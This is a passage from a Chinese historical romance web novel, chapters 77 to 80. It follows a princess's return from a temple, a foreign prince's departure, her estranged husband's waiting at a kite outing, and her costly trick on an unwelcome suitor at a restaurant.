“何止是接生啊。大人做的多的去了。”孟年从碗里抬起脸,感慨道:“大雨天的冒着被洪水冲走的危险救人不说,还得为他们安排住处,承受指责埋怨,那时候大人熬了好几日没休息,没日没夜地救人,修建工事,还得安排义诊,预防瘟疫。” “有个孩子发了热,当时都说是染了疫,救不活了,他的父母都死在水患中,孤身一个,也没个亲人,还是大人力排众议将他救下。” 箬兰自幼生活在王府,虽是家奴,但并未吃过苦,一脸不忍道:“后来呢?” “只能送养,还能如何?”孟年耸了耸肩。 “真可怜。” “他起码还见过亲生父母,我一出生就父母双亡,比他可怜多了,你怎么不可怜可怜我?”孟年问道。 箬兰瞪他,“你可怜个鬼!” “嘿,你这话说的。”孟年不服,又和箬兰吵了起来。 听着吵嚷声,萧婧华转眸。 天色渐暗,他半张脸隐在黑暗中,眉骨优越,清隽无双。 注意到她的视线,他将菜汤推到萧婧华面前,“这汤鲜,你尝尝。” 萧婧华垂眸,小口吃下酿豆腐。 直到席散,她都没动那碗汤。 天彻底黑了。萧婧华跪坐在席上,手里捧着一本经书。 往日一看就困,今日却越读越精神。 绝望叹气,箬竹推门而入。 端着安神汤走到萧婧华面前,她道:“郡主喝完安神汤再睡吧。” 萧婧华深吸口气,勉强喝了半碗就喝不下了。 箬竹收了碗,浅浅笑了声,“陆大人心细,特地让小师傅熬的安神汤,也不知和府里的味道是否一致。” 萧婧华蓦地抬头,看了她半晌,“箬竹,你被陆埕收买了?” 箬竹惊讶,“郡主怎会这样想?” 她笑道:“奴婢只是觉得,陆大人此举颇和我心意罢了。” “他不做,奴婢也要做的,既然是为了郡主好,是谁做的又有什么区别?” “既然这样,那下次不管是谁做的,你都不准提他的名字。” 箬竹从善如流,“好。” 萧婧华惊讶地瞪圆了眼。 箬竹失笑,“奴婢的主子始终是郡主,郡主既不喜,那箬竹往后就不提了。” 萧婧华哼声,“算你识相。” 箬竹轻笑,端着安神汤退了出去。 或许寺里的安神汤确实有奇效,又看了会儿经书,萧婧华来了睡意,爬上床睡了。 第二日,康郡王来访。 他迭声道谢,“若非婧华与陆大人,明月母子还不知会如何,这份大恩,表哥无以为报。” “表哥这就见外了。”萧婧华道:“表嫂腹中是你的骨肉,与我也有血亲,我若置之不理,往后还如何见你与姑姑?” 见康郡王眉眼间含着初为人父的青涩喜悦,她笑道:“还未恭喜表哥喜得贵子。” 康郡王满脸的笑,“等回了京,表哥定有重谢。” “表哥说话可要算话,若是让我空等,我可不依。” “自然。” 康郡王笑,邀萧婧华去探望康郡王妃母子,被她推辞拒了。 她现在都快对他们母子有阴影了,短时间内着实不想见他们。 康郡王只好遗憾离去。 又过了几日,他带着妻儿离开承运寺,萧婧华派人去送了一趟。 同日,陆埕动身回京。 他的假快结束了,见萧婧华并无回家的打算,便道:“什么时候想回了,我再来接你。” “我认路。” 撂下这句话,萧婧华转身,留下陆埕凝望她的背影许久,这才和孟年离去。 第78章 萧婧华在承运寺住了整整一个月。 每日抄抄经书,听主持讲经,日子过得潇洒自在。 山中春花初绽,漫山遍野皆是粉霞,在亭中品品茗,赏赏花,总能让心更静些。 回去的路上碰到了明言。 与萧婧华第一次见他相比,这小家伙的变化着实大。长高了不说,比起最初的唯唯诺诺,神色明显大方了不少,最起码见到她时不再小心翼翼,而是乖巧笑着与她打招呼。 “郡主姐姐。” “是明言呀。”萧婧华蹲下身,摸了摸他光滑圆润的脑袋。感觉手感不错,她又摸了两下,笑着问:“瞧这一身的泥,你这是去哪儿了?” 明言小脸通红,抱紧怀里的小猫,腼腆道:“我和师叔去山下帮忙了。” 悄悄伸出手扯了下衣裳,他小声道:“这泥……是我和初一追小白的时候不小心弄上的。” 萧婧华微愣了下,“你和初一?” 这段时日,她下山看过江妍卿,见她面色红润,想来对现在的日子很是满意,萧婧华便没多问别的。 管她作甚,何必问那么多,也不必事事知晓。只要知道她平安开心就好。 “嗯。”明言重重点头,双眼弯弯,清澈的眸里盛满笑意,“我和初一是很好的朋友,郡主姐姐也认识初一吗?” 萧婧华笑了,“他是我一个很要好的朋友的孩子。” “好了,瞧你脏的,快去洗洗吧。”明言红着脸点头,小跑离开。 小白猫从他怀里探出一只小脑袋,耳朵抖动两下,对着萧婧华喵喵叫。 萧婧华微怔,望着小沙弥和小白猫的背影,半晌笑了声。 脚步刚提起,骤然一僵。 “郡主怎么了?”箬兰疑惑。 萧婧华抿唇,急速转身,快步一迈。 她走得越来越快,甚至小跑起来,裙摆似花瓣,层层叠叠绽放。 “郡主?!” 这突如其来的动作让箬竹箬兰一头雾水,对视过后急促追上。 予安觅真动作敏捷,转眼跃到萧婧华两侧,默默注视她的动向。 脑海里仿佛有团迷雾将前路遮挡,萧婧华越跑越快。 空气从微张的唇瓣涌入胸腔,带来些微痛意,却让她的脑子越发清醒。 一口气跑到目的地,萧婧华终于停了下来,用袖子擦去额上的汗,大口喘气。 予安觅真落在她身旁,疑惑地盯着眼前废墟。 “郡主,此地可有蹊跷?” 萧婧华摇摇头。 她闭了闭眼,裙摆掠过枯枝落叶,走到某处。 天光暗淡,杂草丛生长茂盛,偶有虫蚁在上头停留,叶片轻轻摇晃,似在和她招手。 萧婧华垂眸。 杂乱脚步声靠近,箬竹箬兰大喘气追上。 “郡、郡主,来这里做什么?” 萧婧华看着某处,轻声问:“箬竹,我是不是在承运寺丢过一张帕子?” 箬竹不确定,“好似……是丢过。” 一张帕子而已,她不怎么记得住。 萧婧华深吸气,“那晚,承运寺可是进了贼人,惊扰了女眷?” “这个我记得。”箬兰积极应声,“那贼人摸进了光禄寺周大人家眷屋里,将周夫人吓坏了,闹腾了大晚上。” 清风拂来,吹散迷雾。原来如此。 萧婧华目光澹澹望着空无一物的杂草丛间。 或许,邵嘉远盯上她,并不是因为她的身份,而是她曾在此处,无意中撞破了什么秘密。 碍于她的出身,他们无法对她下手,只能将她控制在后院,企图桎梏她。 萧婧华回忆着当时在这里听见的声音。 他们说了什么? 时间已经久远,她脑子里丝毫没有印象。 咬咬唇,萧婧华提起裙摆。 予安见状拔剑而出,寒光乍现,挡在她前面的杂草在顷刻间成化为漫天草屑,徐徐落地。 萧婧华踩过草屑,走向佛殿。 觅真点地,跃在她前头,先她一步站在佛殿门前,推开破败不堪的大门。 “嘎吱——” 大门发出沉重声响,灰尘散开,尘封许久的腐朽气息铺面而来。 “咳咳。” 萧婧华撇开头,袖子捂着唇咳嗽两声。 箬兰箬竹挡在她身前。 待灰尘散去,萧婧华率先进去。 半边佛殿坍塌,木梁瓦片压住神佛半边金身,金光暗淡,不复圣洁之像。 萧婧华抬眸。 佛陀手持宝珠与慧剑,眉目垂着,慈祥悲悯,祂似坠落凡尘,被信徒遗忘的神,即便身处泥泞深渊,依旧平和悯人。 萧婧华在殿内四处游走。 这殿饱经风霜,地上不是被腐烂的草木,就是散发着恶臭味的老鼠尸体。 走了一圈,没发现异常,萧婧华实在受不了,夺门而出。 呼吸一口新鲜空气,她这才觉得自己活过来了。 四人跟着她出来。 萧婧华匀了口气,“走吧,收拾东西,我们明日回京。” …… 天朗气清,万里无云。 战马成队立在城门外。 为首那人身着薄衣,风一吹便贴着健硕胸膛,浑身上下皆充斥着力量感。五官俊美无俦,极富侵略性,单手拎着马缰,绿眸下垂,神秘摄人。 陆埕拱手作揖,“此行路远,望三王子一路平安。” 阿史那苍居高临下地睨着他,冷不丁来一句。 “我这一走,你可是松了口气?” “什么?” 陆埕抬眸不解。 阿史那苍面色冷漠,“陆大人莫以为娶了她便万事大吉。我虽远在北夷,但你若是负了她,她再不情愿,我都会带她走。” 陆埕眸光微沉。 阿史那苍笑了,“你若没那个本事护她,自该退位让贤才是。” 身后的礼部官员纷纷垂眸,耳朵却立了起来。 陆埕目光冷冽,语气含冰,“三王子愿等上百十来年,我自然不介意。就是不知北夷子民愿不愿了。” 乌朔鼻息喷涌,马蹄微动逼向陆埕,目光炯炯。 阿史那苍安抚似的拍它头,俯下身子,绿眸盯着陆埕,“看来,你很有自信。” 眸里的光暗了一瞬,陆埕并未答复。 他并无自信,只是不想再失去她。 阿史那苍却当他默认了,朗声一笑,他调转马头,策马离去。 “那我们便拭目以待。” 苍鹰翱翔天际,不时唳一声,似在回应。 北夷使臣跟在主子身后,杂乱马蹄阵阵,往北而去。 陆埕望着前方那道逐渐化为黑点的身影。 拭目以待。 …… 昨日那般着急回京,第二日萧婧华急迫的心情却缓了不少。 反正再怎么想都想不起来,这般火上眉梢也没用处。 用完早膳,她向主持告别,随后下山。 路过江妍卿的庄子时,甚至去讨了口水喝。 “江姐姐和念慈大师很熟络?” 放下茶盏,萧婧华随口一问。 江妍卿眸光微不可察一晃,将糕点放在她面前,“怎么这么问。” 萧婧华捻起一块桃花糕咬了口,“在寺里撞见过几次明言,听他说起过初一。” “原来是明言小师傅。”江妍卿笑道:“念慈大师心善,常下山替农户做活,我在庄子上闲着也是无聊,便想着也自己种些东西。初一喜欢他,见过几次后便时常黏着,好在大师不嫌,让明言小师傅和他一同玩耍。” “这样。” 萧婧华吃着糕点,没由来笑了,“他怎么这么喜欢孩子。” 桃花糕软糯香甜,她往江妍卿那边推了推,“江姐姐也吃啊。” 一抬头,两道长眉不觉拧起。 “怎么了?” 江妍卿急忙回神,掩下眸中失神苦涩,扬笑拿起糕点,“没什么。” 一盘糕点吃完,又逗着初一玩了片刻,萧婧华起身告辞。 “吃了午膳便走吧。”江妍卿留她,“正好让你尝尝我的手艺。” “不了。” 萧婧华摇头,“这么久没见父王,我想他了。” “也罢。”江妍卿只好道:“那你下次来定要住几日。” “好啊。”萧婧华欣然同意。 与江妍卿告别,马车驶向京城。 靠近京城时,马蹄如雷,声声入耳,带着几乎要震破地皮的劲停在萧婧华面前。 予安的声音冷静传来,“郡主,是三王子。” 阿史那苍? 一听这个名字,萧婧华只觉小臂泛起轻微疼痛。想起那道再也散不去的牙印,她掀帘,探出半个脑袋,皱眉扫着高坐马上之人,“你这是去哪儿?” 阿史那苍驱驶乌朔靠近车厢,闻声挑了下眉,“你不是为了躲我才离京的?” “我躲你作甚?”萧婧华纳闷。 她又没做错事,平白无故躲他做什么。 躲的不是他,那便是另外的人了。 阿史那苍放声大笑,绿眸熠熠,璀璨光华流转,比宝石还要耀眼。 想起陆埕那张冷静清隽的脸,他开怀极了,“原来是在我面前装面子。” 萧婧华不知他在说什么,皱眉道:“你还没回答我,你为什么出现在这儿?” 阿史那苍渐渐止了笑,绿眸安静注视她,语气平缓,“小金花,我要回北夷了。” 萧婧华怔住。 “父汗病重,北夷生乱,我那群兄弟各个虎视眈眈,我得回去抢王位。” 当着这么多北夷使臣的面,他堂而皇之地说出自己的野心,眉眼之间,是灼目又绝对的自信。 日光在他头顶照耀,他的眼睛,似比金乌还要明亮。 萧婧华望着他,“那便祝你,夙愿以偿。” 阿史那苍坚定道:“我会。” 他一甩马鞭,乌朔嘶鸣一声,向前冲去。 风中,男人浑厚的嗓音里含着笑意。 “小金花,我们来日再见。” 北夷使臣从马车旁经过,远去的队伍里,阿史那苍的背影渐渐消失。 萧婧华收回视线,淡淡吩咐,“走吧。” “好。” 予安应声,扬着马鞭,驱驶马儿前行。 到了京城,箬兰忽然“咦”一声,“那不是陆大人么?” 萧婧华看过去,站在城门下的果然是陆埕。 注意到王府马车,他快步走来,眼里含着笑,“回来了。” 萧婧华颔首。 陆埕已经习惯了,并不在意她的态度,忽略身后各色目光,温声道:“现在回府?我送你。” “不用。”萧婧华冷淡道:“你忙你的,我回王府。” 第79章 春闱结束后陆旸便一直待在家中。 他考完休息几日,陆埕便让他将考题默写出来。 替他批改时,陆埕的脸色越来越沉,陆旸的心提得也越来越高。 改完,陆埕静默许久,最后吐出一句,“三年后若是做成这样,不用我,邱先生便会先将你收拾一顿。” 邱先生是陆旸的老师,已过天命之年,为人慈和,待人如沐春风,他都能发脾气,可想而知陆旸这次考得有多糟糕。 春闱放榜后,果不其然,陆旸榜上无名。 陆夫人虽早有准备,但难免失望,初放榜那几日,浑身上下都散发着冷气,看陆旸极不顺眼,最初的特例被一一收回。 陆旸战战兢兢,被陆埕强硬地压着埋头苦学,一声不敢吭。 学了好几日,下值的陆埕晃荡着来到陆旸书房,站在书桌旁盯着他看,直把陆旸看得胆战心惊,不自觉挺起腰背,生怕自己又做错了什么。 片刻后,陆埕幽幽道:“你和云六姑娘,是不是许久未见了?” 说起云慕亭,陆旸顿时垮了脸,没精打采道:“是啊,我都好久没见到她了。” 春闱放榜后,他连家都没敢出,更别说去见云慕亭或者让他娘去提亲了。 实在没那个脸。 陆埕道:“还有三年,倒也不必那么急,我去和娘说,过几日让你回书院。近来春景不错,你去书院之前寻个日子,陪云六姑娘放放纸鸢吧。” 陆旸喜出望外,“当真?!” 陆埕颔首,叮嘱一句“专心温书”便走出书房。 陆旸咧着嘴傻乐。 笑了会儿,他忙捧起书,刚要看,脑子里蓦地划过一个念头。 不对啊,他哥有这么好心? …… 回到王府的第二日,萧婧华便约了云慕筱谢瑛姐妹上门。 一个月不见,二人没什么变化,若硬要说的话,倒是谢瑛脸上的笑意比往日更灿烂了几分。 狐疑盯了她半晌,萧婧华问:“你这是遇见什么好事了?” 谢瑛嘿嘿笑,豪气万丈,“我把仰玉成拿下了!” “噗——” 萧婧华一口茶水喷出,捂着胸口不断咳嗽。 云慕筱吓一跳,连忙放下茶盏拍她背,“慢点慢点。” 咳得小脸通红,萧婧华才缓过来,拿过箬竹递来的帕子在唇上一抹,迫不及待追问:“你说什么?谁?仰玉成?!” “是啊。” 谢瑛不懂她为何这般激动,老老实实道:“不过他有伤在身,是我胜之不武。等他伤好,我再和他打一架!” 握着拳头,谢瑛一脸坚定,“定能再胜他一次。” 萧婧华:“……” 她半晌无语,愣了许久才一言难尽道:“你说的,是这个拿下?” “想岔了吧?” 云慕筱笑话她,“我们阿瑛这般单纯,你想什么呢。” “什么想什么?”谢瑛问。 “没什么。” 萧婧华与云慕筱异口同声,一个塞给她一块糕点,一个为她倒了杯茶。 “吃/喝你的。” 谢瑛挠头,只觉这两人莫名其妙。 但她领了好心,一口茶水一口糕点,吃得好不开心。 姐妹俩在王府待了一日,离开时夕阳已至,余晖照檐,有燕归来。 萧婧华正思索着晚膳备些什么,忽听夏菱来报,“郡主,陆大人来了。” “他来作甚?” 萧婧华一瞬皱起细眉,“不见。” 话音方落,夏菱咳嗽一声,低声道:“陆大人说,他不是来请郡主回去的。是有关旸少爷的事,想请郡主帮忙。” 事关陆旸,萧婧华拒绝的话便不好出口了。 犹豫着妥协,“行,那你让他进来吧。” 因着两人已是夫妻,夏菱直接将陆埕带到了春栖院。 将菜单交给箬竹,萧婧华足尖点地,裙摆曳地,一动一晃,似晚霞飘落足下。 她乜斜着陆埕,语调懒洋洋的,“阿旸怎么了?” 眸底映照着少女娇俏面容,陆埕缓声,“阿旸春闱落榜,过几日便要回书院了。临行之前,他约了敬国公府的六姑娘放纸鸢。” “啊……” 萧婧华轻启唇,眉梢微动,略带惊讶,“阿旸落榜了?” 陆埕点头,“对。”顿了顿,他道:“娘很生气。” “那有什么,他还年轻,三年后再考也行。”萧婧华笑着,“而且三年后云六姑娘也及笄了,到时不正好?” “不过。”萧婧华蓦地反应过来,“这和我有什么关系?” 陆埕嗓音放轻,“他们……毕竟尚无名分,孤男寡女的,我担心云六姑娘被说闲话,想请你与他们一道,照看一二。” 他补充,“只需你在一旁照看便可,不必与他们在一处。” 陆旸和她关系不错,况且有云慕筱和谢瑛的情分在,照拂云慕亭也在情理之中。 “行,哪日?” 见她同意,陆埕唇角微扬,“两日后。” “知道了。” 萧婧华摆手,仰头看西边日落。 须臾,察觉到陆埕还在,她上下扫他,眼一翻,“你怎么还不走?府里没备你的饭。” 这么大的王府,怎么可能连他一口饭都没有。 心里门清是萧婧华不待见他,陆埕张了张唇,“府里……” 这两个字吐露,剩下的又被他咽回去了。 “好,那我先回了。” 萧婧华敷衍点头。 赶紧走吧,耽误她看日落。再晚些天就要黑了。 陆埕缓慢挪动步子。 春栖院的院子再大,也不够他走上一个时辰的。出了院子,陆埕回头。 少女窝在躺椅中,一手撑头仰头看天边红霞,神色好不悠闲,丝毫没有面对他时的不耐。 挫败地叹了声气,陆埕离开了王府。 到陆府后,他绕到了另一扇门。 推门进去,陆夫人正在摆饭,往他身后看了眼,神色淡了下来,“回来了?吃饭了。” 陆埕挽起袖子帮忙。 “不用你。”陆夫人嫌弃,“毛手毛脚的,当心把我汤撒了。” 听孟年说陆埕去了王府,她还以为婧华能回来,特地给她煨了汤。 谁知陆埕还是那般无用。 正好,那汤便宜她和殷姑了。 陆埕也不是第一次被嫌弃了,默默摆好碗筷,等人齐后才坐下用膳。 饭后,他照例在院子里锻炼,满头大汗地进了净室清洗,随后披着外裳进了书房。 书房点着灯,暖黄灯光照亮半室昏暗,他坐在灯下,细细扎着纸鸢。 …… 两日转瞬即过。 昨夜没睡好,萧婧华醒来脑子昏昏沉沉的,打着哈欠让箬竹为她梳妆。 她梳妆打扮极费功夫,等换好衣裳戴好首饰,已经过去了一个时辰。 看着镜子里的明媚佳人,萧婧华抚了抚鬓间簪花,满意点头,带着予安和箬兰离府。 寒冬已去,闹市喧嚣,白雾袅袅,混合着小贩的叫卖声,热闹又富有烟火气。 姑娘们身着春装,三三两两相约出门,双颊微红似桃花,娇俏可爱。 卖纸鸢的小贩吆喝着,笑容灿烂。 萧婧华看中一只,让予安停下马车,缓步落地。 走到摊子边,小贩殷勤道:“姑娘看中了哪只?我这儿的纸鸢,那可是京城里数一数二的,瞧这材质,这花色,我敢说,京里少有人及。” 他比了个大拇指,眼里满是自豪。 萧婧华被逗笑了,点了只纸鸢,“行,就它吧。” “诶,好嘞,一共二十文。”小贩热情道。 箬兰刚取出银钱,斜里插过一只手,五指修长,骨节分明,手背青筋遒劲,指甲修剪圆润,很是漂亮。 “我来吧。” 听着这个略显耳熟的声音,萧婧华回眸。 宁拓将铜板递给小贩,略显忐忑地望着她,“郡主。” 许久不见,他有了不少变化,曾经那股少年锐气湮灭在短短几个月光阴里,眉目沉稳了不少,眼中的意气风发仿佛蒲公草,风轻轻一吹便散了。 萧婧华神色淡淡,“宁小公爷。” 她又挑了只纸鸢,对小贩道:“我要这只。” 箬兰忙把钱递出去。 小贩看看这个,又看看那个,摸不着头脑,拿着纸鸢愣道:“那这只纸鸢……” 萧婧华笑,“留着吧,就当这位公子发善心。” 小贩有些局促,倒是个实诚的生意人。 她难得安慰,“放心,这位公子家里不差钱,便是将你这整个摊子买下来都成。”一听这话,小贩立即露出笑颜,“好嘞,多谢公子,祝公子财源滚滚,觅得佳妇,一生顺遂。” 宁拓露出苦涩笑意,“多谢。” 说话间,箬兰拿了纸鸢,萧婧华已转身走了。 “郡主!” 宁拓匆忙追寻。 人头攒动,一个瞬息间萧婧华便不见了踪迹,他站在人群中,茫然四顾。 …… 萧婧华正要走向马车,倏然有道声音唤她。 “郡主。” 车轮轧过石子发出吱嘎声响,有辆马车在她身旁停下。 车帘撩起,雍容华贵的夫人面含笑意,温声细语道:“见过郡主。” “原来是国公夫人。” 萧婧华兴致缺缺,敷衍点头,“夫人可有事?” 宁国公夫人声若浮云,绵软轻和,“偶见郡主孤身一人,便想上前搭话。咦?” 她往四处看了眼,“陆大人不在?” “陆大人也真是的。”宁国公夫人轻叹,“出门在外,竟也不陪同郡主,若是被人瞧见郡主与别的男子走在一处,误会了可怎么办。” 萧婧华隐隐不耐,“夫人究竟想说什么?” 宁国公夫人笑,“其实也没什么,只是我们家拓儿此次春闱榜上有名,邹家有意与国公府结亲,方才他为郡主买下一只纸鸢被邹家姑娘瞧了去。这年轻姑娘家,醋劲都大,我便想着,郡主可否……” 她指了指箬兰手中纸鸢,难为情道:“可否将那纸鸢转卖于我?我再赔郡主一只。” 萧婧华怀疑自己耳朵出了问题,不然她怎么会听见这么荒谬的话? 对上宁国公夫人认真的神色,她气笑了,“本郡主……” “一只纸鸢罢了,别说郡主,随便哪个王府下人都买得起,郡主还不至于让一个外人替她付了这笔银钱。” 轻灵女声遥遥入耳,另有一辆马车徐徐驶来。 葱白长指揭开车帘,少女面若芙蓉,唇畔笑意柔和似风。含着深意的目光落在宁国公夫人身上,她轻笑着,“国公夫人这是得了什么毛病,你家儿子是什么香饽饽不成?哪个姑娘与他搭句话便是看上他了?用得着夫人这般跌份亲自出面,就怕你看好的儿媳妇跑了?” “春闱罢了,我朝这么多进士,泯然众人的也不在少数。若他同陆大人一般三元及第,年纪轻轻便担任礼部侍郎,到那时,你不妨再来郡主面前大放厥词。” …… “够高吗?” “不够,再飞高些。” 听着少女银铃清脆的笑音,陆旸不觉扬起唇角,高声应道:“好,再高些!” 纸鸢乘风而上,飞入云端,云慕亭双眼弯弯,眼眸晶亮,细声道:“我也想放。” “好。” 陆旸干脆将风筝线递给她,余光一扫,轻声和她说了句话,走向站在柳树下的陆埕。 “哥,你是在等婧华姐吗?” 起初陆旸还不知道他打的什么主意,此时当真是明白得不能再明白了。 陆埕:“云六姑娘跑远了,你去照看照看。” 陆旸回头,果真见云慕亭拎着风筝线迎风小跑,顾不上陆埕,立马追了上去。 “六姑娘慢些,当心摔倒了!” 少年少女的欢笑声响在耳侧,即便走远了,仍久久不散。 陆埕垂眸望着手中纸鸢,拇指微动,轻微刺痛感蔓延。他靠在柳树上,仰头看天。 碧空如洗,白云滚滚。 清风徐来,蔓蔓柳枝舞姿轻缓,微暖阳光拂照柳梢。 裙裾草叶飘摇,草地上影子倾斜,缓慢往东去,与西边金乌遥遥相望。 “啪嗒。” 纸鸢坠地。 她始终没来。 第80章 “想起宁国公夫人那张黑得都快滴墨的脸,我就觉大快人心。” 纪初晴不雅地翻了个白眼,“什么人啊。” 萧婧华慢条斯理地饮一口茶。 纪初晴极少如此明显地表露出对一个人的不喜,她不免好奇,放下茶盏问道:“怎么,她得罪过你?” “得罪倒是不至于,只是她的某些话,让我很是不喜。” 纪初晴记得,那是在三年前吏部尚书府的赏花宴上,因她才名远扬,几名学子拿着一幅画寻她品鉴,纪初晴当时正无聊,来了兴致,便与几位学子赏画。那时宁国公夫人正巧路过,与他们打了个照面。 宁国公夫人的名声向来好,纪初晴礼貌颔首,并未放在心上。 谁知回去时,隔着假山,无意间听见宁国公夫人与别的夫人闲聊,话里话外都是什么女子就该贤良淑德,安生养在闺中,还未出嫁便整日与男子凑在一处,总归是有失体面。 她虽未说出“不质检点”四个字,但话里话外,不都是那个意思? 倘若不曾遇见宁国公夫人,纪初晴可能不会多想,但结合方才那一面,她怎能听不出这话里的主人公便是自己? 纪初晴忍了又忍,才没当场冷笑出声。 自那以后,她便知这在外人眼里可怜又和菩萨似的宁国公夫人,实则是个自视甚高的蠢妇。 萧婧华听完玩味一笑,“原来,她并不是只针对我啊。” 纪初晴道:“她可能还觉得你之前被……” 猛地停顿,她看向萧婧华。 少女垂眸望着杯中清亮茶汤,抬眸望她,笑着催促,“继续说啊。” 纪初晴抿了抿唇,略过这个话题,接着道:“在她心里,说不准还万般看不上你。” “何止是心里啊。”萧婧华失笑,“她面上对我的轻蔑都快溢出来了。” 重重放下茶盏,她嗤笑,“方才若非你出现,我非得让她吃吃苦头不可。” 平白无故跑来挖苦一番,真当她萧婧华是好惹的? 纪初晴轻笑一声,“对了,你今日……” “表妹!” 一声吼叫如平地惊雷,将整个二楼的人都给镇住了,纷纷握着杯盏看向楼梯口。 那里站了个男人,锦衣华服裹住粗壮身材,五官粗犷,肤色并不白皙,发上却不伦不类地簪了朵大红牡丹,走动间木板沉沉作响,众人心惊胆战,生怕楼板被他踩踏了。 见男人往她们这个方向走来,萧婧华靠近纪初晴,“你认识?” 纪初晴脸色发青,“认识。” “我那杀千刀表妹的夫家表哥,说是武艺高强,年少有为,听说我娘在为我择婿,特地让他上京与我相看。” “什么?” 萧婧华惊了,脱口而出,“你表妹这么恨你?” “我也想知道,我究竟怎么碍她眼了,要这么害我。” 纪初晴咬牙切齿。 说话间,那男人已走到近前,见了萧婧华,他眼睛一亮,直勾勾地在萧婧华身上转一圈。 轻佻得令人厌恶。 箬兰忙挡在自家郡主面前,凶恶地瞪他一眼,“看什么看?” 男人目光一闪,故作潇洒地笑,“姑娘生得好看,可不就是让人看的?” “姑娘莫怪。” 未等箬兰发怒,他作赔,“我这人没什么别的毛病,就是心直口快,若是冒犯了姑娘,还请见谅。” 予安冷冷瞥他。 男人一顿,收了目光,笑呵呵地看向纪初晴,“表妹,你怎么出门也不叫我一声?” 绿衫侍女悄悄挡住自家姑娘的脸。 纪初晴的手放在她肩膀上,轻轻将她推开,维持着贵女的体面,淡笑道:“我何时出门,应当用不着与方公子交代吧?” “你怎么还叫我方公子?”方代拨开侍女,在纪初晴身边坐下,冲她抛了个媚眼,“咱们两家如此亲近,你直接唤我一声表哥便好。”随着他靠近,萧婧华闻到一股难以描述的味道,像是熏香里夹杂着脂粉气,令她很是不适。 轻捂鼻尖,萧婧华屏气,“我还有事,先走了。” “别。” 隔着木桌,纪初晴抓住萧婧华的手,眼神乞求。她压低嗓音,“别走。帮我一次,就当我欠你一个人情。” 能让纪初晴欠她人情,那可是稀罕事。 萧婧华只思索了两息便同意了,“成,这可是你说的。” 她坐了回去,不紧不慢为自己倒了杯茶,动作行云流水,优雅自然。 方代的目光贼兮兮地在她身上打转,“不知这位是……” “你管我是谁。” 萧婧华浅啄一口,撩起眼皮淡淡瞥他一眼,眸光微冷,倨傲地不可一世。 方代的脸色当即沉了不少。 看在纪初晴的面子上,他并未发作,尬笑着,“这位姑娘的性子倒是挺烈。” 纪初晴喝着茶不语。 萧婧华视他无物,搁下茶盏,“天色也不早了,不如一道用个午膳?” “好。” 纪初晴起身,对着外座的方代礼貌淡笑,“劳烦方公子让让。” 方代不动,嬉皮笑脸道:“表妹要用膳?听说京城聚香楼甚是热闹,今日我做东,不知表妹可否赏光?” 纪初晴委婉拒绝,“不必了,方公子自行去吧。” “那可不行,来京城这么久,全靠表妹一家照拂,我怎么也得尽尽心意啊。” 这个无赖! 方代巍然不动,将出路牢牢堵住,她根本无法出去。 除非,她能抛却矜持,当着这么多人的面从桌上跳下去。 纪初晴深深吸气,按捺住满腔怒气,强忍着没发怒。正思索对策,忽听萧婧华干脆利落的嗓音。 “行啊。” 萧婧华站起,“既然这位公子想请客,那我自然没有拒绝的道理。走吧。” 方代的视线在萧婧华脸上停留许久,又转过去看纪初晴,“表妹也同意?” 虽不知萧婧华想做什么,但出于对她人品的信任,纪初晴还是点了头。 方代满意笑了,“行,那便走吧。” 一行人移步到聚香楼,正值饭点,楼上楼下皆是忙碌的店小二,掌柜的在柜台后噼里啪啦地算着账,见萧婧华进来,连忙扔下算盘,笑着迎来。 “郡……” 见萧婧华对他摇了下头,掌柜的心领会神,笑道:“您来了。” 萧婧华颔首,“还是那个雅间,不过今日的帐……” 她侧身,葱白玉指指向方代,“都算在这位公子头上。” 难得与纪初晴一同用膳,方代自是满口同意,“成,都算我的。” 掌柜的眼珠子机灵一转,笑呵呵应承,“好。” 亲自送萧婧华上楼进了雅间,掌柜的问:“几位要些什么?” 萧婧华随口道:“店里的招牌都给我来一份,再来六碗燕窝,一份佛跳墙、一份黄焖鱼翅、一份八仙过海闹罗汉、一份炒凤舌,雀舌没有,便要鸽舌吧,不能太老,必须要新鲜的。最后再来一碗竹荪肝膏汤。” 她嘴里吐出的菜肴越多,掌柜的脸上的笑意便越深,乐呵呵道:“好,您稍后。” “等等,六碗燕窝。”方代指了指几人,“要这么多做什么?” 吃的完么。 “她们几个不吃?”萧婧华指着予安箬兰和纪初晴的侍女,理直气壮让她们坐下,随后对方代挑眉,“这位公子家里的侍女,竟然连碗燕窝都吃不起吗?” 对上那张明媚又高傲的脸,方代咬牙,“自然吃得起。” 萧婧华笑了,“行,暂时就这些,下去吧。” 掌柜的应声,“好,我这就去吩咐厨房。” 纪初晴望了眼还没意识到问题严重性的方代,竟对他生出了些许同情。 这一顿,怕是要让他吃吐血。 但又不是她花钱,等菜上来,纪初晴心安理得用膳。 难得的美味佳肴,不吃白不吃。 一顿饭,勉强算是宾主尽欢。 方代的心思更多放在了两位美人身上,并没怎么注意桌上菜肴,因此,等结账的时候,他惊得嗓子都险些喊破了。 “你说什么?两千两?!” 他一拍桌子,怒道:“一桌菜而已,怎么就要我两千两?!你们莫不是看我好欺负讹我吧?” 掌柜的笑意不变,“这位公子,确实是两千两。” 他“啪啪”打着算盘,“一碗燕窝二十两,公子要的是燕窝中的极品血燕,五十两一碗,六碗便是三百两。凤舌用的是顶级鸽舌,一条便是二两银子,一份凤舌五十条,一共一百两。鱼翅海黄瓜等更不必说,那在京城都是稀罕物,皆是从南方运来的,这海运向来不便宜,因此定价也高,还有……” 掌柜的噼里啪啦算着账,最后道:“一共是两千零五两,抹去零头,一共两千,这位公子,请结账吧。” 方代脸色铁青,还想辩驳,旁边一位男子停了半晌,中肯道:“你这顿饭尽是名贵菜肴,可不得要两千两?” 萧婧华幽幽道:“怎么,方公子付不出这笔钱?若是不成,还是我来吧。” “不、用。” 方代咬牙,忍痛道:“区区两千两,小数而已。不过我今日并未带那么多……” 掌柜的将他打断,“公子,本店不可赊账。” 方代脸色阴沉,从怀里掏出一沓银票,数了数,心一狠拍在掌柜的面前,“你点。” 掌柜的指尖飞速翻动,笑道:“正好两千,多谢公子。” 方代沉着脸转身就走。 萧婧华目光与纪初晴交汇,无声嘲笑,走出聚香楼。 原想让方代知难后退,出乎意料的是,都坑了他两千两,竟还跟着两人不放。 这是哪儿来的钱多事多的莽汉。 见他不死心,萧婧华拉着纪初晴去了灵翠阁。 望着鎏金牌匾,她道:“怎么,公子是见纪姑娘衣着素净,想为她添些首饰?” 方代痛快道:“成,表妹今儿个无论看上了什么,都算我的。” 他半垂着眼,眸底晦暗。 今日出了这么大的血,这两个小娘皮必须得付出点什么。 80-90 第81章 (修) 